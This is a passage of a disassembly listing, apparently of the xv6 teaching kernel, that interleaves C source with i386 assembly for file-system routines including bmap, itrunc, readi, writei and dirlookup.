80101b8d: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80101b91: 75 1c jne 80101baf <bmap+0x87>
ip->addrs[NDIRECT] = addr = balloc(ip->dev);
80101b93: 8b 45 08 mov 0x8(%ebp),%eax
80101b96: 8b 00 mov (%eax),%eax
80101b98: 89 04 24 mov %eax,(%esp)
80101b9b: e8 13 f8 ff ff call 801013b3 <balloc>
80101ba0: 89 45 f4 mov %eax,-0xc(%ebp)
80101ba3: 8b 45 08 mov 0x8(%ebp),%eax
80101ba6: 8b 55 f4 mov -0xc(%ebp),%edx
80101ba9: 89 90 8c 00 00 00 mov %edx,0x8c(%eax)
bp = bread(ip->dev, addr);
80101baf: 8b 45 08 mov 0x8(%ebp),%eax
80101bb2: 8b 00 mov (%eax),%eax
80101bb4: 8b 55 f4 mov -0xc(%ebp),%edx
80101bb7: 89 54 24 04 mov %edx,0x4(%esp)
80101bbb: 89 04 24 mov %eax,(%esp)
80101bbe: e8 f2 e5 ff ff call 801001b5 <bread>
80101bc3: 89 45 f0 mov %eax,-0x10(%ebp)
a = (uint*)bp->data;
80101bc6: 8b 45 f0 mov -0x10(%ebp),%eax
80101bc9: 83 c0 5c add $0x5c,%eax
80101bcc: 89 45 ec mov %eax,-0x14(%ebp)
if((addr = a[bn]) == 0){
80101bcf: 8b 45 0c mov 0xc(%ebp),%eax
80101bd2: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
80101bd9: 8b 45 ec mov -0x14(%ebp),%eax
80101bdc: 01 d0 add %edx,%eax
80101bde: 8b 00 mov (%eax),%eax
80101be0: 89 45 f4 mov %eax,-0xc(%ebp)
80101be3: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80101be7: 75 30 jne 80101c19 <bmap+0xf1>
a[bn] = addr = balloc(ip->dev);
80101be9: 8b 45 0c mov 0xc(%ebp),%eax
80101bec: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
80101bf3: 8b 45 ec mov -0x14(%ebp),%eax
80101bf6: 8d 1c 02 lea (%edx,%eax,1),%ebx
80101bf9: 8b 45 08 mov 0x8(%ebp),%eax
80101bfc: 8b 00 mov (%eax),%eax
80101bfe: 89 04 24 mov %eax,(%esp)
80101c01: e8 ad f7 ff ff call 801013b3 <balloc>
80101c06: 89 45 f4 mov %eax,-0xc(%ebp)
80101c09: 8b 45 f4 mov -0xc(%ebp),%eax
80101c0c: 89 03 mov %eax,(%ebx)
log_write(bp);
80101c0e: 8b 45 f0 mov -0x10(%ebp),%eax
80101c11: 89 04 24 mov %eax,(%esp)
80101c14: e8 ae 1a 00 00 call 801036c7 <log_write>
}
brelse(bp);
80101c19: 8b 45 f0 mov -0x10(%ebp),%eax
80101c1c: 89 04 24 mov %eax,(%esp)
80101c1f: e8 08 e6 ff ff call 8010022c <brelse>
return addr;
80101c24: 8b 45 f4 mov -0xc(%ebp),%eax
80101c27: eb 0c jmp 80101c35 <bmap+0x10d>
}
panic("bmap: out of range");
80101c29: c7 04 24 c2 86 10 80 movl $0x801086c2,(%esp)
80101c30: e8 1f e9 ff ff call 80100554 <panic>
}
80101c35: 83 c4 24 add $0x24,%esp
80101c38: 5b pop %ebx
80101c39: 5d pop %ebp
80101c3a: c3 ret
80101c3b <itrunc>:
// to it (no directory entries referring to it)
// and has no in-memory reference to it (is
// not an open file or current directory).
static void
itrunc(struct inode *ip)
{
80101c3b: 55 push %ebp
80101c3c: 89 e5 mov %esp,%ebp
80101c3e: 83 ec 28 sub $0x28,%esp
int i, j;
struct buf *bp;
uint *a;
for(i = 0; i < NDIRECT; i++){
80101c41: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
80101c48: eb 43 jmp 80101c8d <itrunc+0x52>
if(ip->addrs[i]){
80101c4a: 8b 45 08 mov 0x8(%ebp),%eax
80101c4d: 8b 55 f4 mov -0xc(%ebp),%edx
80101c50: 83 c2 14 add $0x14,%edx
80101c53: 8b 44 90 0c mov 0xc(%eax,%edx,4),%eax
80101c57: 85 c0 test %eax,%eax
80101c59: 74 2f je 80101c8a <itrunc+0x4f>
bfree(ip->dev, ip->addrs[i]);
80101c5b: 8b 45 08 mov 0x8(%ebp),%eax
80101c5e: 8b 55 f4 mov -0xc(%ebp),%edx
80101c61: 83 c2 14 add $0x14,%edx
80101c64: 8b 54 90 0c mov 0xc(%eax,%edx,4),%edx
80101c68: 8b 45 08 mov 0x8(%ebp),%eax
80101c6b: 8b 00 mov (%eax),%eax
80101c6d: 89 54 24 04 mov %edx,0x4(%esp)
80101c71: 89 04 24 mov %eax,(%esp)
80101c74: e8 74 f8 ff ff call 801014ed <bfree>
ip->addrs[i] = 0;
80101c79: 8b 45 08 mov 0x8(%ebp),%eax
80101c7c: 8b 55 f4 mov -0xc(%ebp),%edx
80101c7f: 83 c2 14 add $0x14,%edx
80101c82: c7 44 90 0c 00 00 00 movl $0x0,0xc(%eax,%edx,4)
80101c89: 00
{
int i, j;
struct buf *bp;
uint *a;
for(i = 0; i < NDIRECT; i++){
80101c8a: ff 45 f4 incl -0xc(%ebp)
80101c8d: 83 7d f4 0b cmpl $0xb,-0xc(%ebp)
80101c91: 7e b7 jle 80101c4a <itrunc+0xf>
bfree(ip->dev, ip->addrs[i]);
ip->addrs[i] = 0;
}
}
if(ip->addrs[NDIRECT]){
80101c93: 8b 45 08 mov 0x8(%ebp),%eax
80101c96: 8b 80 8c 00 00 00 mov 0x8c(%eax),%eax
80101c9c: 85 c0 test %eax,%eax
80101c9e: 0f 84 a3 00 00 00 je 80101d47 <itrunc+0x10c>
bp = bread(ip->dev, ip->addrs[NDIRECT]);
80101ca4: 8b 45 08 mov 0x8(%ebp),%eax
80101ca7: 8b 90 8c 00 00 00 mov 0x8c(%eax),%edx
80101cad: 8b 45 08 mov 0x8(%ebp),%eax
80101cb0: 8b 00 mov (%eax),%eax
80101cb2: 89 54 24 04 mov %edx,0x4(%esp)
80101cb6: 89 04 24 mov %eax,(%esp)
80101cb9: e8 f7 e4 ff ff call 801001b5 <bread>
80101cbe: 89 45 ec mov %eax,-0x14(%ebp)
a = (uint*)bp->data;
80101cc1: 8b 45 ec mov -0x14(%ebp),%eax
80101cc4: 83 c0 5c add $0x5c,%eax
80101cc7: 89 45 e8 mov %eax,-0x18(%ebp)
for(j = 0; j < NINDIRECT; j++){
80101cca: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
80101cd1: eb 3a jmp 80101d0d <itrunc+0xd2>
if(a[j])
80101cd3: 8b 45 f0 mov -0x10(%ebp),%eax
80101cd6: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
80101cdd: 8b 45 e8 mov -0x18(%ebp),%eax
80101ce0: 01 d0 add %edx,%eax
80101ce2: 8b 00 mov (%eax),%eax
80101ce4: 85 c0 test %eax,%eax
80101ce6: 74 22 je 80101d0a <itrunc+0xcf>
bfree(ip->dev, a[j]);
80101ce8: 8b 45 f0 mov -0x10(%ebp),%eax
80101ceb: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
80101cf2: 8b 45 e8 mov -0x18(%ebp),%eax
80101cf5: 01 d0 add %edx,%eax
80101cf7: 8b 10 mov (%eax),%edx
80101cf9: 8b 45 08 mov 0x8(%ebp),%eax
80101cfc: 8b 00 mov (%eax),%eax
80101cfe: 89 54 24 04 mov %edx,0x4(%esp)
80101d02: 89 04 24 mov %eax,(%esp)
80101d05: e8 e3 f7 ff ff call 801014ed <bfree>
}
if(ip->addrs[NDIRECT]){
bp = bread(ip->dev, ip->addrs[NDIRECT]);
a = (uint*)bp->data;
for(j = 0; j < NINDIRECT; j++){
80101d0a: ff 45 f0 incl -0x10(%ebp)
80101d0d: 8b 45 f0 mov -0x10(%ebp),%eax
80101d10: 83 f8 7f cmp $0x7f,%eax
80101d13: 76 be jbe 80101cd3 <itrunc+0x98>
if(a[j])
bfree(ip->dev, a[j]);
}
brelse(bp);
80101d15: 8b 45 ec mov -0x14(%ebp),%eax
80101d18: 89 04 24 mov %eax,(%esp)
80101d1b: e8 0c e5 ff ff call 8010022c <brelse>
bfree(ip->dev, ip->addrs[NDIRECT]);
80101d20: 8b 45 08 mov 0x8(%ebp),%eax
80101d23: 8b 90 8c 00 00 00 mov 0x8c(%eax),%edx
80101d29: 8b 45 08 mov 0x8(%ebp),%eax
80101d2c: 8b 00 mov (%eax),%eax
80101d2e: 89 54 24 04 mov %edx,0x4(%esp)
80101d32: 89 04 24 mov %eax,(%esp)
80101d35: e8 b3 f7 ff ff call 801014ed <bfree>
ip->addrs[NDIRECT] = 0;
80101d3a: 8b 45 08 mov 0x8(%ebp),%eax
80101d3d: c7 80 8c 00 00 00 00 movl $0x0,0x8c(%eax)
80101d44: 00 00 00
}
ip->size = 0;
80101d47: 8b 45 08 mov 0x8(%ebp),%eax
80101d4a: c7 40 58 00 00 00 00 movl $0x0,0x58(%eax)
iupdate(ip);
80101d51: 8b 45 08 mov 0x8(%ebp),%eax
80101d54: 89 04 24 mov %eax,(%esp)
80101d57: e8 ff f9 ff ff call 8010175b <iupdate>
}
80101d5c: c9 leave
80101d5d: c3 ret
80101d5e <stati>:
// Copy stat information from inode.
void
stati(struct inode *ip, struct stat *st)
{
80101d5e: 55 push %ebp
80101d5f: 89 e5 mov %esp,%ebp
st->dev = ip->dev;
80101d61: 8b 45 08 mov 0x8(%ebp),%eax
80101d64: 8b 00 mov (%eax),%eax
80101d66: 89 c2 mov %eax,%edx
80101d68: 8b 45 0c mov 0xc(%ebp),%eax
80101d6b: 89 50 04 mov %edx,0x4(%eax)
st->ino = ip->inum;
80101d6e: 8b 45 08 mov 0x8(%ebp),%eax
80101d71: 8b 50 04 mov 0x4(%eax),%edx
80101d74: 8b 45 0c mov 0xc(%ebp),%eax
80101d77: 89 50 08 mov %edx,0x8(%eax)
st->type = ip->type;
80101d7a: 8b 45 08 mov 0x8(%ebp),%eax
80101d7d: 8b 40 50 mov 0x50(%eax),%eax
80101d80: 8b 55 0c mov 0xc(%ebp),%edx
80101d83: 66 89 02 mov %ax,(%edx)
st->nlink = ip->nlink;
80101d86: 8b 45 08 mov 0x8(%ebp),%eax
80101d89: 66 8b 40 56 mov 0x56(%eax),%ax
80101d8d: 8b 55 0c mov 0xc(%ebp),%edx
80101d90: 66 89 42 0c mov %ax,0xc(%edx)
st->size = ip->size;
80101d94: 8b 45 08 mov 0x8(%ebp),%eax
80101d97: 8b 50 58 mov 0x58(%eax),%edx
80101d9a: 8b 45 0c mov 0xc(%ebp),%eax
80101d9d: 89 50 10 mov %edx,0x10(%eax)
}
80101da0: 5d pop %ebp
80101da1: c3 ret
80101da2 <readi>:
//PAGEBREAK!
// Read data from inode.
int
readi(struct inode *ip, char *dst, uint off, uint n)
{
80101da2: 55 push %ebp
80101da3: 89 e5 mov %esp,%ebp
80101da5: 83 ec 28 sub $0x28,%esp
uint tot, m;
struct buf *bp;
if(ip->type == T_DEV){
80101da8: 8b 45 08 mov 0x8(%ebp),%eax
80101dab: 8b 40 50 mov 0x50(%eax),%eax
80101dae: 66 83 f8 03 cmp $0x3,%ax
80101db2: 75 60 jne 80101e14 <readi+0x72>
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read)
80101db4: 8b 45 08 mov 0x8(%ebp),%eax
80101db7: 66 8b 40 52 mov 0x52(%eax),%ax
80101dbb: 66 85 c0 test %ax,%ax
80101dbe: 78 20 js 80101de0 <readi+0x3e>
80101dc0: 8b 45 08 mov 0x8(%ebp),%eax
80101dc3: 66 8b 40 52 mov 0x52(%eax),%ax
80101dc7: 66 83 f8 09 cmp $0x9,%ax
80101dcb: 7f 13 jg 80101de0 <readi+0x3e>
80101dcd: 8b 45 08 mov 0x8(%ebp),%eax
80101dd0: 66 8b 40 52 mov 0x52(%eax),%ax
80101dd4: 98 cwtl
80101dd5: 8b 04 c5 20 1a 11 80 mov -0x7feee5e0(,%eax,8),%eax
80101ddc: 85 c0 test %eax,%eax
80101dde: 75 0a jne 80101dea <readi+0x48>
return -1;
80101de0: b8 ff ff ff ff mov $0xffffffff,%eax
80101de5: e9 1a 01 00 00 jmp 80101f04 <readi+0x162>
return devsw[ip->major].read(ip, dst, n);
80101dea: 8b 45 08 mov 0x8(%ebp),%eax
80101ded: 66 8b 40 52 mov 0x52(%eax),%ax
80101df1: 98 cwtl
80101df2: 8b 04 c5 20 1a 11 80 mov -0x7feee5e0(,%eax,8),%eax
80101df9: 8b 55 14 mov 0x14(%ebp),%edx
80101dfc: 89 54 24 08 mov %edx,0x8(%esp)
80101e00: 8b 55 0c mov 0xc(%ebp),%edx
80101e03: 89 54 24 04 mov %edx,0x4(%esp)
80101e07: 8b 55 08 mov 0x8(%ebp),%edx
80101e0a: 89 14 24 mov %edx,(%esp)
80101e0d: ff d0 call *%eax
80101e0f: e9 f0 00 00 00 jmp 80101f04 <readi+0x162>
}
if(off > ip->size || off + n < off)
80101e14: 8b 45 08 mov 0x8(%ebp),%eax
80101e17: 8b 40 58 mov 0x58(%eax),%eax
80101e1a: 3b 45 10 cmp 0x10(%ebp),%eax
80101e1d: 72 0d jb 80101e2c <readi+0x8a>
80101e1f: 8b 45 14 mov 0x14(%ebp),%eax
80101e22: 8b 55 10 mov 0x10(%ebp),%edx
80101e25: 01 d0 add %edx,%eax
80101e27: 3b 45 10 cmp 0x10(%ebp),%eax
80101e2a: 73 0a jae 80101e36 <readi+0x94>
return -1;
80101e2c: b8 ff ff ff ff mov $0xffffffff,%eax
80101e31: e9 ce 00 00 00 jmp 80101f04 <readi+0x162>
if(off + n > ip->size)
80101e36: 8b 45 14 mov 0x14(%ebp),%eax
80101e39: 8b 55 10 mov 0x10(%ebp),%edx
80101e3c: 01 c2 add %eax,%edx
80101e3e: 8b 45 08 mov 0x8(%ebp),%eax
80101e41: 8b 40 58 mov 0x58(%eax),%eax
80101e44: 39 c2 cmp %eax,%edx
80101e46: 76 0c jbe 80101e54 <readi+0xb2>
n = ip->size - off;
80101e48: 8b 45 08 mov 0x8(%ebp),%eax
80101e4b: 8b 40 58 mov 0x58(%eax),%eax
80101e4e: 2b 45 10 sub 0x10(%ebp),%eax
80101e51: 89 45 14 mov %eax,0x14(%ebp)
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
80101e54: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
80101e5b: e9 95 00 00 00 jmp 80101ef5 <readi+0x153>
bp = bread(ip->dev, bmap(ip, off/BSIZE));
80101e60: 8b 45 10 mov 0x10(%ebp),%eax
80101e63: c1 e8 09 shr $0x9,%eax
80101e66: 89 44 24 04 mov %eax,0x4(%esp)
80101e6a: 8b 45 08 mov 0x8(%ebp),%eax
80101e6d: 89 04 24 mov %eax,(%esp)
80101e70: e8 b3 fc ff ff call 80101b28 <bmap>
80101e75: 8b 55 08 mov 0x8(%ebp),%edx
80101e78: 8b 12 mov (%edx),%edx
80101e7a: 89 44 24 04 mov %eax,0x4(%esp)
80101e7e: 89 14 24 mov %edx,(%esp)
80101e81: e8 2f e3 ff ff call 801001b5 <bread>
80101e86: 89 45 f0 mov %eax,-0x10(%ebp)
m = min(n - tot, BSIZE - off%BSIZE);
80101e89: 8b 45 10 mov 0x10(%ebp),%eax
80101e8c: 25 ff 01 00 00 and $0x1ff,%eax
80101e91: 89 c2 mov %eax,%edx
80101e93: b8 00 02 00 00 mov $0x200,%eax
80101e98: 29 d0 sub %edx,%eax
80101e9a: 89 c1 mov %eax,%ecx
80101e9c: 8b 45 f4 mov -0xc(%ebp),%eax
80101e9f: 8b 55 14 mov 0x14(%ebp),%edx
80101ea2: 29 c2 sub %eax,%edx
80101ea4: 89 c8 mov %ecx,%eax
80101ea6: 39 d0 cmp %edx,%eax
80101ea8: 76 02 jbe 80101eac <readi+0x10a>
80101eaa: 89 d0 mov %edx,%eax
80101eac: 89 45 ec mov %eax,-0x14(%ebp)
for (int j = 0; j < min(m, 10); j++) {
cprintf("%x ", bp->data[off%BSIZE+j]);
}
cprintf("\n");
*/
memmove(dst, bp->data + off%BSIZE, m);
80101eaf: 8b 45 10 mov 0x10(%ebp),%eax
80101eb2: 25 ff 01 00 00 and $0x1ff,%eax
80101eb7: 8d 50 50 lea 0x50(%eax),%edx
80101eba: 8b 45 f0 mov -0x10(%ebp),%eax
80101ebd: 01 d0 add %edx,%eax
80101ebf: 8d 50 0c lea 0xc(%eax),%edx
80101ec2: 8b 45 ec mov -0x14(%ebp),%eax
80101ec5: 89 44 24 08 mov %eax,0x8(%esp)
80101ec9: 89 54 24 04 mov %edx,0x4(%esp)
80101ecd: 8b 45 0c mov 0xc(%ebp),%eax
80101ed0: 89 04 24 mov %eax,(%esp)
80101ed3: e8 7b 33 00 00 call 80105253 <memmove>
brelse(bp);
80101ed8: 8b 45 f0 mov -0x10(%ebp),%eax
80101edb: 89 04 24 mov %eax,(%esp)
80101ede: e8 49 e3 ff ff call 8010022c <brelse>
if(off > ip->size || off + n < off)
return -1;
if(off + n > ip->size)
n = ip->size - off;
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
80101ee3: 8b 45 ec mov -0x14(%ebp),%eax
80101ee6: 01 45 f4 add %eax,-0xc(%ebp)
80101ee9: 8b 45 ec mov -0x14(%ebp),%eax
80101eec: 01 45 10 add %eax,0x10(%ebp)
80101eef: 8b 45 ec mov -0x14(%ebp),%eax
80101ef2: 01 45 0c add %eax,0xc(%ebp)
80101ef5: 8b 45 f4 mov -0xc(%ebp),%eax
80101ef8: 3b 45 14 cmp 0x14(%ebp),%eax
80101efb: 0f 82 5f ff ff ff jb 80101e60 <readi+0xbe>
cprintf("\n");
*/
memmove(dst, bp->data + off%BSIZE, m);
brelse(bp);
}
return n;
80101f01: 8b 45 14 mov 0x14(%ebp),%eax
}
80101f04: c9 leave
80101f05: c3 ret
80101f06 <writei>:
// PAGEBREAK!
// Write data to inode.
int
writei(struct inode *ip, char *src, uint off, uint n)
{
80101f06: 55 push %ebp
80101f07: 89 e5 mov %esp,%ebp
80101f09: 83 ec 28 sub $0x28,%esp
uint tot, m;
struct buf *bp;
if(ip->type == T_DEV){
80101f0c: 8b 45 08 mov 0x8(%ebp),%eax
80101f0f: 8b 40 50 mov 0x50(%eax),%eax
80101f12: 66 83 f8 03 cmp $0x3,%ax
80101f16: 75 60 jne 80101f78 <writei+0x72>
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write)
80101f18: 8b 45 08 mov 0x8(%ebp),%eax
80101f1b: 66 8b 40 52 mov 0x52(%eax),%ax
80101f1f: 66 85 c0 test %ax,%ax
80101f22: 78 20 js 80101f44 <writei+0x3e>
80101f24: 8b 45 08 mov 0x8(%ebp),%eax
80101f27: 66 8b 40 52 mov 0x52(%eax),%ax
80101f2b: 66 83 f8 09 cmp $0x9,%ax
80101f2f: 7f 13 jg 80101f44 <writei+0x3e>
80101f31: 8b 45 08 mov 0x8(%ebp),%eax
80101f34: 66 8b 40 52 mov 0x52(%eax),%ax
80101f38: 98 cwtl
80101f39: 8b 04 c5 24 1a 11 80 mov -0x7feee5dc(,%eax,8),%eax
80101f40: 85 c0 test %eax,%eax
80101f42: 75 0a jne 80101f4e <writei+0x48>
return -1;
80101f44: b8 ff ff ff ff mov $0xffffffff,%eax
80101f49: e9 45 01 00 00 jmp 80102093 <writei+0x18d>
return devsw[ip->major].write(ip, src, n);
80101f4e: 8b 45 08 mov 0x8(%ebp),%eax
80101f51: 66 8b 40 52 mov 0x52(%eax),%ax
80101f55: 98 cwtl
80101f56: 8b 04 c5 24 1a 11 80 mov -0x7feee5dc(,%eax,8),%eax
80101f5d: 8b 55 14 mov 0x14(%ebp),%edx
80101f60: 89 54 24 08 mov %edx,0x8(%esp)
80101f64: 8b 55 0c mov 0xc(%ebp),%edx
80101f67: 89 54 24 04 mov %edx,0x4(%esp)
80101f6b: 8b 55 08 mov 0x8(%ebp),%edx
80101f6e: 89 14 24 mov %edx,(%esp)
80101f71: ff d0 call *%eax
80101f73: e9 1b 01 00 00 jmp 80102093 <writei+0x18d>
}
if(off > ip->size || off + n < off)
80101f78: 8b 45 08 mov 0x8(%ebp),%eax
80101f7b: 8b 40 58 mov 0x58(%eax),%eax
80101f7e: 3b 45 10 cmp 0x10(%ebp),%eax
80101f81: 72 0d jb 80101f90 <writei+0x8a>
80101f83: 8b 45 14 mov 0x14(%ebp),%eax
80101f86: 8b 55 10 mov 0x10(%ebp),%edx
80101f89: 01 d0 add %edx,%eax
80101f8b: 3b 45 10 cmp 0x10(%ebp),%eax
80101f8e: 73 0a jae 80101f9a <writei+0x94>
return -1;
80101f90: b8 ff ff ff ff mov $0xffffffff,%eax
80101f95: e9 f9 00 00 00 jmp 80102093 <writei+0x18d>
if(off + n > MAXFILE*BSIZE)
80101f9a: 8b 45 14 mov 0x14(%ebp),%eax
80101f9d: 8b 55 10 mov 0x10(%ebp),%edx
80101fa0: 01 d0 add %edx,%eax
80101fa2: 3d 00 18 01 00 cmp $0x11800,%eax
80101fa7: 76 0a jbe 80101fb3 <writei+0xad>
return -1;
80101fa9: b8 ff ff ff ff mov $0xffffffff,%eax
80101fae: e9 e0 00 00 00 jmp 80102093 <writei+0x18d>
for(tot=0; tot<n; tot+=m, off+=m, src+=m){
80101fb3: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
80101fba: e9 a0 00 00 00 jmp 8010205f <writei+0x159>
bp = bread(ip->dev, bmap(ip, off/BSIZE));
80101fbf: 8b 45 10 mov 0x10(%ebp),%eax
80101fc2: c1 e8 09 shr $0x9,%eax
80101fc5: 89 44 24 04 mov %eax,0x4(%esp)
80101fc9: 8b 45 08 mov 0x8(%ebp),%eax
80101fcc: 89 04 24 mov %eax,(%esp)
80101fcf: e8 54 fb ff ff call 80101b28 <bmap>
80101fd4: 8b 55 08 mov 0x8(%ebp),%edx
80101fd7: 8b 12 mov (%edx),%edx
80101fd9: 89 44 24 04 mov %eax,0x4(%esp)
80101fdd: 89 14 24 mov %edx,(%esp)
80101fe0: e8 d0 e1 ff ff call 801001b5 <bread>
80101fe5: 89 45 f0 mov %eax,-0x10(%ebp)
m = min(n - tot, BSIZE - off%BSIZE);
80101fe8: 8b 45 10 mov 0x10(%ebp),%eax
80101feb: 25 ff 01 00 00 and $0x1ff,%eax
80101ff0: 89 c2 mov %eax,%edx
80101ff2: b8 00 02 00 00 mov $0x200,%eax
80101ff7: 29 d0 sub %edx,%eax
80101ff9: 89 c1 mov %eax,%ecx
80101ffb: 8b 45 f4 mov -0xc(%ebp),%eax
80101ffe: 8b 55 14 mov 0x14(%ebp),%edx
80102001: 29 c2 sub %eax,%edx
80102003: 89 c8 mov %ecx,%eax
80102005: 39 d0 cmp %edx,%eax
80102007: 76 02 jbe 8010200b <writei+0x105>
80102009: 89 d0 mov %edx,%eax
8010200b: 89 45 ec mov %eax,-0x14(%ebp)
memmove(bp->data + off%BSIZE, src, m);
8010200e: 8b 45 10 mov 0x10(%ebp),%eax
80102011: 25 ff 01 00 00 and $0x1ff,%eax
80102016: 8d 50 50 lea 0x50(%eax),%edx
80102019: 8b 45 f0 mov -0x10(%ebp),%eax
8010201c: 01 d0 add %edx,%eax
8010201e: 8d 50 0c lea 0xc(%eax),%edx
80102021: 8b 45 ec mov -0x14(%ebp),%eax
80102024: 89 44 24 08 mov %eax,0x8(%esp)
80102028: 8b 45 0c mov 0xc(%ebp),%eax
8010202b: 89 44 24 04 mov %eax,0x4(%esp)
8010202f: 89 14 24 mov %edx,(%esp)
80102032: e8 1c 32 00 00 call 80105253 <memmove>
log_write(bp);
80102037: 8b 45 f0 mov -0x10(%ebp),%eax
8010203a: 89 04 24 mov %eax,(%esp)
8010203d: e8 85 16 00 00 call 801036c7 <log_write>
brelse(bp);
80102042: 8b 45 f0 mov -0x10(%ebp),%eax
80102045: 89 04 24 mov %eax,(%esp)
80102048: e8 df e1 ff ff call 8010022c <brelse>
if(off > ip->size || off + n < off)
return -1;
if(off + n > MAXFILE*BSIZE)
return -1;
for(tot=0; tot<n; tot+=m, off+=m, src+=m){
8010204d: 8b 45 ec mov -0x14(%ebp),%eax
80102050: 01 45 f4 add %eax,-0xc(%ebp)
80102053: 8b 45 ec mov -0x14(%ebp),%eax
80102056: 01 45 10 add %eax,0x10(%ebp)
80102059: 8b 45 ec mov -0x14(%ebp),%eax
8010205c: 01 45 0c add %eax,0xc(%ebp)
8010205f: 8b 45 f4 mov -0xc(%ebp),%eax
80102062: 3b 45 14 cmp 0x14(%ebp),%eax
80102065: 0f 82 54 ff ff ff jb 80101fbf <writei+0xb9>
memmove(bp->data + off%BSIZE, src, m);
log_write(bp);
brelse(bp);
}
if(n > 0 && off > ip->size){
8010206b: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
8010206f: 74 1f je 80102090 <writei+0x18a>
80102071: 8b 45 08 mov 0x8(%ebp),%eax
80102074: 8b 40 58 mov 0x58(%eax),%eax
80102077: 3b 45 10 cmp 0x10(%ebp),%eax
8010207a: 73 14 jae 80102090 <writei+0x18a>
ip->size = off;
8010207c: 8b 45 08 mov 0x8(%ebp),%eax
8010207f: 8b 55 10 mov 0x10(%ebp),%edx
80102082: 89 50 58 mov %edx,0x58(%eax)
iupdate(ip);
80102085: 8b 45 08 mov 0x8(%ebp),%eax
80102088: 89 04 24 mov %eax,(%esp)
8010208b: e8 cb f6 ff ff call 8010175b <iupdate>
}
return n;
80102090: 8b 45 14 mov 0x14(%ebp),%eax
}
80102093: c9 leave
80102094: c3 ret
80102095 <namecmp>:
//PAGEBREAK!
// Directories
int
namecmp(const char *s, const char *t)
{
80102095: 55 push %ebp
80102096: 89 e5 mov %esp,%ebp
80102098: 83 ec 18 sub $0x18,%esp
return strncmp(s, t, DIRSIZ);
8010209b: c7 44 24 08 0e 00 00 movl $0xe,0x8(%esp)
801020a2: 00
801020a3: 8b 45 0c mov 0xc(%ebp),%eax
801020a6: 89 44 24 04 mov %eax,0x4(%esp)
801020aa: 8b 45 08 mov 0x8(%ebp),%eax
801020ad: 89 04 24 mov %eax,(%esp)
801020b0: e8 3d 32 00 00 call 801052f2 <strncmp>
}
801020b5: c9 leave
801020b6: c3 ret
801020b7 <dirlookup>:
// Look for a directory entry in a directory.
// If found, set *poff to byte offset of entry.
struct inode*
dirlookup(struct inode *dp, char *name, uint *poff)
{
801020b7: 55 push %ebp
801020b8: 89 e5 mov %esp,%ebp
801020ba: 83 ec 38 sub $0x38,%esp
uint off, inum;
struct dirent de;
if(dp->type != T_DIR)
801020bd: 8b 45 08 mov 0x8(%ebp),%eax
801020c0: 8b 40 50 mov 0x50(%eax),%eax
801020c3: 66 83 f8 01 cmp $0x1,%ax
801020c7: 74 0c je 801020d5 <dirlookup+0x1e>
panic("dirlookup not DIR");
801020c9: c7 04 24 d5 86 10 80 movl $0x801086d5,(%esp)
801020d0: e8 7f e4 ff ff call 80100554 <panic>
for(off = 0; off < dp->size; off += sizeof(de)){
801020d5: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
801020dc: e9 86 00 00 00 jmp 80102167 <dirlookup+0xb0>
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
801020e1: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp)
801020e8: 00
801020e9: 8b 45 f4 mov -0xc(%ebp),%eax
801020ec: 89 44 24 08 mov %eax,0x8(%esp)
801020f0: 8d 45 e0 lea -0x20(%ebp),%eax
801020f3: 89 44 24 04 mov %eax,0x4(%esp)
801020f7: 8b 45 08 mov 0x8(%ebp),%eax
801020fa: 89 04 24 mov %eax,(%esp)
801020fd: e8 a0 fc ff ff call 80101da2 <readi>
80102102: 83 f8 10 cmp $0x10,%eax
80102105: 74 0c je 80102113 <dirlookup+0x5c>
panic("dirlink read");
80102107: c7 04 24 e7 86 10 80 movl $0x801086e7,(%esp)
8010210e: e8 41 e4 ff ff call 80100554 <panic>
if(de.inum == 0)
80102113: 8b 45 e0 mov -0x20(%ebp),%eax
80102116: 66 85 c0 test %ax,%ax
80102119: 75 02 jne 8010211d <dirlookup+0x66>
continue;
8010211b: eb 46 jmp 80102163 <dirlookup+0xac>
if(namecmp(name, de.name) == 0){
8010211d: 8d 45 e0 lea -0x20(%ebp),%eax
80102120: 83 c0 02 add $0x2,%eax
80102123: 89 44 24 04 mov %eax,0x4(%esp)
80102127: 8b 45 0c mov 0xc(%ebp),%eax
8010212a: 89 04 24 mov %eax,(%esp)
8010212d: e8 63 ff ff ff call 80102095 <namecmp>
80102132: 85 c0 test %eax,%eax
80102134: 75 2d jne 80102163 <dirlookup+0xac>
// entry matches path element
if(poff)
80102136: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
8010213a: 74 08 je 80102144 <dirlookup+0x8d>
*poff = off;
8010213c: 8b 45 10 mov 0x10(%ebp),%eax
8010213f: 8b 55 f4 mov -0xc(%ebp),%edx
80102142: 89 10 mov %edx,(%eax)
inum = de.inum;
80102144: 8b 45 e0 mov -0x20(%ebp),%eax
80102147: 0f b7 c0 movzwl %ax,%eax
8010214a: 89 45 f0 mov %eax,-0x10(%ebp)
return iget(dp->dev, inum);
8010214d: 8b 45 08 mov 0x8(%ebp),%eax
80102150: 8b 00 mov (%eax),%eax
80102152: 8b 55 f0 mov -0x10(%ebp),%edx
80102155: 89 54 24 04 mov %edx,0x4(%esp)
80102159: 89 04 24 mov %eax,(%esp)
8010215c: e8 b6 f6 ff ff call 80101817 <iget>
80102161: eb 18 jmp 8010217b <dirlookup+0xc4>
struct dirent de;
if(dp->type != T_DIR)
panic("dirlookup not DIR");
for(off = 0; off < dp->size; off += sizeof(de)){
80102163: 83 45 f4 10 addl $0x10,-0xc(%ebp)
80102167: 8b 45 08 mov 0x8(%ebp),%eax
